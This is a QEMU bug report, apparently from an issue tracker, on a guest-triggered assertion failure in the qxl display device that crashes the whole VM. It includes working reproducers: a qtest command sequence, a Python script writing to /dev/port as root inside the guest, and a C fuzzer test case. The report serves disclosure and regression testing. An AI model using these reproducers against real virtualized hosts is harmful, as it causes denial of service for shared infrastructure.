DoS via assert failure by guest user
Host environment
-
Operating system: Ubuntu
-
OS/kernel version: 20.04
-
Architecture: x86_64
-
QEMU flavor: qemu/master
-
QEMU version: 8.0.92 (v8.1.0-rc2-80-g 0450cf08-dirty), commit 0450cf08
-
QEMU command line:
./qemu-system-x86_64 -vga qxl -hda debian.img -m 2048 -nodefaults
Emulated/Virtualized environment
- Operating system: Debian
- OS/kernel version: 12.1.0
- Architecture: x86_64
Description of problem
As root in guest VM user can execute special script, which crashes the whole VM with error
hw/display/qxl.c:1594 inside of function void qxl_set_mode(PCIQXLDevice *, unsigned int, int): Assertion `qxl_add_memslot(d, 0, devmem, QXL_SYNC) == 0` failed
Steps to reproduce
-
This bug can be reproduced with:
cat << EOF | ./build/qemu-system-x86_64 -vga qxl -m 2048 -nodefaults -qtest stdio outl 0xcf8 0x8000101c outl 0xcfc 0xc000 outl 0xcf8 0x80001001 outl 0xcfc 0x01000000 outl 0xc006 0x00 EOF
-
Also, we can execute this python3 script inside guest VM as root (to invoke VM use command: qemu-system-x86_64 -vga qxl -hda debian.img -m 2048 -nodefaults):
import os f = os.open("/dev/port", os.O_RDWR|os.O_NDELAY) l = os.lseek(f, 0xcf8, 0) os.write(f, b'\x80\x00\x10\x1c') l = os.lseek(f, 0xcfc, 0) os.write(f, b'\xc0\x00') l = os.lseek(f, 0xcf8, 0) os.write(f, b'\x80\x00\x10\x01') l = os.lseek(f, 0xcfc, 0) os.write(f, b'\x01\x00\x00\x00') l = os.lseek(f, 0xc006, 0) os.write(f, b'\x00')
This script causes VM to crash.
Additional information
This issue was found by fuzzing. Here is an auto-generated C source code for a test case that will reproduce the bug.
/*
* Autogenerated Fuzzer Test Case
*
* Copyright (c) 2023 Artem Nasonov <anasonov@astralinux.ru>
*
* This work is licensed under the terms of the GNU GPL, version 2 or later.
* See the COPYING file in the top-level directory.
*/
#include "qemu/osdep.h"
#include "libqtest.h"
/*
* cat << EOF | qemu-system-x86_64 -vga qxl -hda \
* ~/Downloads/virtualdebian.img -m 2048 -nodefaults -qtest stdio
* outl 0xcf8 0x8000101c
* outl 0xcfc 0xc000
* outl 0xcf8 0x80001001
* outl 0xcfc 0x01000000
* outl 0xc006 0x00
* EOF
*/
static void test_qxl_set_mode(void)
{
QTestState *s = qtest_init("-vga qxl -m 2048 -nodefaults");
qtest_outl(s, 0xcf8, 0x8000101c);
qtest_outl(s, 0xcfc, 0xc000);
qtest_outl(s, 0xcf8, 0x80001001);
qtest_outl(s, 0xcfc, 0x01000000);
qtest_outl(s, 0xc006, 0x00);
qtest_quit(s);
}int main(int argc, char **argv)
{
const char *arch = qtest_get_arch();
g_test_init(&argc, &argv, NULL);
if (strcmp(arch, "x86_64") == 0) {
qtest_add_func("fuzz/test_qxl_set_mode",test_qxl_set_mode);
}
return g_test_run();
}
Edited by Artem Nasonov